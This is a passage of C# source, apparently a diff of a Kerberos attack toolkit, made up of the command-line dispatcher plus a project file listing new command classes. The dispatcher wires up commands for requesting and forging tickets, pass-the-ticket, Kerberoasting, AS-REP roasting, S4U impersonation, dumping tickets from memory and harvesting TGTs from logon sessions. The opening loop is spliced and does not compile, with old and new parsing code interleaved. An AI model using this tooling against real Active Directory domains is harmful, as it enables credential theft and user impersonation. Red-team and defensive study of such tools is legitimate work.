var arguments = new Dictionary<string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
// try to parse the command line arguments, show usage on failure and then bail
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
Info.ShowUsage();
else
{
arguments[argument] = "";
}
// Try to execute the command using the arguments passed in
var commandName = args.Length != 0 ? args[0] : "";
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
// show the usage if no commands were found for the command name
if (commandFound == false)
Info.ShowUsage();
}
if (arguments.ContainsKey("asktgt"))
{
string user = "";
string domain = "";
string hash = "";
string dc = "";
bool ptt = false;
uint luid = 0;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
return;
}
if (arguments.ContainsKey("/show"))
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
}
else
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
}
Console.WriteLine();
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
if ( !((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) )
{
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
return;
}
else
{
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
return;
}
}
if (arguments.ContainsKey("asktgs"))
{
bool ptt = false;
string dc = "";
string service = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
else
{
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("renew"))
{
bool ptt = false;
string dc = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("changepw"))
{
string newPassword = "";
string dc = "";
if (arguments.ContainsKey("/new"))
{
newPassword = arguments["/new"];
}
if (String.IsNullOrEmpty(newPassword))
{
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
return;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("s4u"))
{
string targetUser = "";
string targetSPN = "";
string altSname = "";
string user = "";
string domain = "";
string hash = "";
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/impersonateuser"))
{
targetUser = arguments["/impersonateuser"];
}
if (arguments.ContainsKey("/msdsspn"))
{
targetSPN = arguments["/msdsspn"];
}
if (arguments.ContainsKey("/altservice"))
{
altSname = arguments["/altservice"];
}
if (String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else if (arguments.ContainsKey("/user"))
{
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
user = arguments["/user"];
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
}
if (arguments.ContainsKey("ptt"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("purge"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
LSA.Purge(luid);
}
else if (arguments.ContainsKey("kerberoast"))
{
string spn = "";
string user = "";
string OU = "";
if (arguments.ContainsKey("/spn"))
{
spn = arguments["/spn"];
}
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/ou"))
{
OU = arguments["/ou"];
}
if (arguments.ContainsKey("/creduser"))
{
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
return;
}
string[] parts = arguments["/creduser"].Split('\\');
string domainName = parts[0];
string userName = parts[1];
if (!arguments.ContainsKey("/credpassword"))
{
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
return;
}
string password = arguments["/credpassword"];
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
Roast.Kerberoast(spn, user, OU, cred);
}
else
{
Roast.Kerberoast(spn, user, OU);
}
}
else if (arguments.ContainsKey("asreproast"))
{
string user = "";
string domain = "";
string dc = "";
string format = "john";
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/format"))
{
format = arguments["/format"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(dc))
{
Roast.ASRepRoast(user, domain, "", format);
}
else
{
Roast.ASRepRoast(user, domain, dc, format);
}
}
else if (arguments.ContainsKey("dump"))
{
if (arguments.ContainsKey("/luid"))
{
string service = "";
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTicketData(luid, service);
}
else if (arguments.ContainsKey("/service"))
{
LSA.ListKerberosTicketData(0, arguments["/service"]);
}
else
{
LSA.ListKerberosTicketData();
}
}
else if (arguments.ContainsKey("tgtdeleg"))
{
if (arguments.ContainsKey("/target"))
{
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
byte[] blah = LSA.RequestFakeDelegTicket();
}
}
else if (arguments.ContainsKey("monitor"))
{
string targetUser = "";
int interval = 60;
if (arguments.ContainsKey("/filteruser"))
{
targetUser = arguments["/filteruser"];
}
if (arguments.ContainsKey("/interval"))
{
interval = Int32.Parse(arguments["/interval"]);
}
Harvest.Monitor4624(interval, targetUser);
}
else if (arguments.ContainsKey("harvest"))
{
int intervalMinutes = 60;
if (arguments.ContainsKey("/interval"))
{
intervalMinutes = Int32.Parse(arguments["/interval"]);
}
Harvest.HarvestTGTs(intervalMinutes);
}
else if (arguments.ContainsKey("describe"))
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("createnetonly"))
{
if (arguments.ContainsKey("/program"))
{
if (arguments.ContainsKey("/show"))
{
LSA.CreateProcessNetOnly(arguments["/program"], true);
}
else
{
LSA.CreateProcessNetOnly(arguments["/program"]);
}
}
else
{
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
}
}
else {
Usage();
}
}
}
}

View File

@ -47,6 +47,26 @@
<Compile Include="Asn1\AsnException.cs" />
<Compile Include="Asn1\AsnIO.cs" />
<Compile Include="Asn1\AsnOID.cs" />
<Compile Include="Commands\Asktgs.cs" />
<Compile Include="Commands\Asktgt.cs" />
<Compile Include="Commands\Asreproast.cs" />
<Compile Include="Commands\Changepw.cs" />
<Compile Include="Commands\Createnetonly.cs" />
<Compile Include="Commands\Describe.cs" />
<Compile Include="Commands\Dump.cs" />
<Compile Include="Commands\HarvestCommand.cs" />
<Compile Include="Commands\ICommand.cs" />
<Compile Include="Commands\Kerberoast.cs" />
<Compile Include="Commands\Monitor.cs" />
<Compile Include="Commands\Ptt.cs" />
<Compile Include="Commands\Purge.cs" />
<Compile Include="Commands\RenewCommand.cs" />
<Compile Include="Commands\S4u.cs" />
<Compile Include="Commands\Tgtdeleg.cs" />
<Compile Include="Domain\ArgumentParser.cs" />
<Compile Include="Domain\ArgumentParserResult.cs" />
<Compile Include="Domain\CommandCollection.cs" />
<Compile Include="Domain\Info.cs" />
<Compile Include="lib\Ask.cs" />
<Compile Include="lib\Crypto.cs" />
<Compile Include="lib\Harvest.cs" />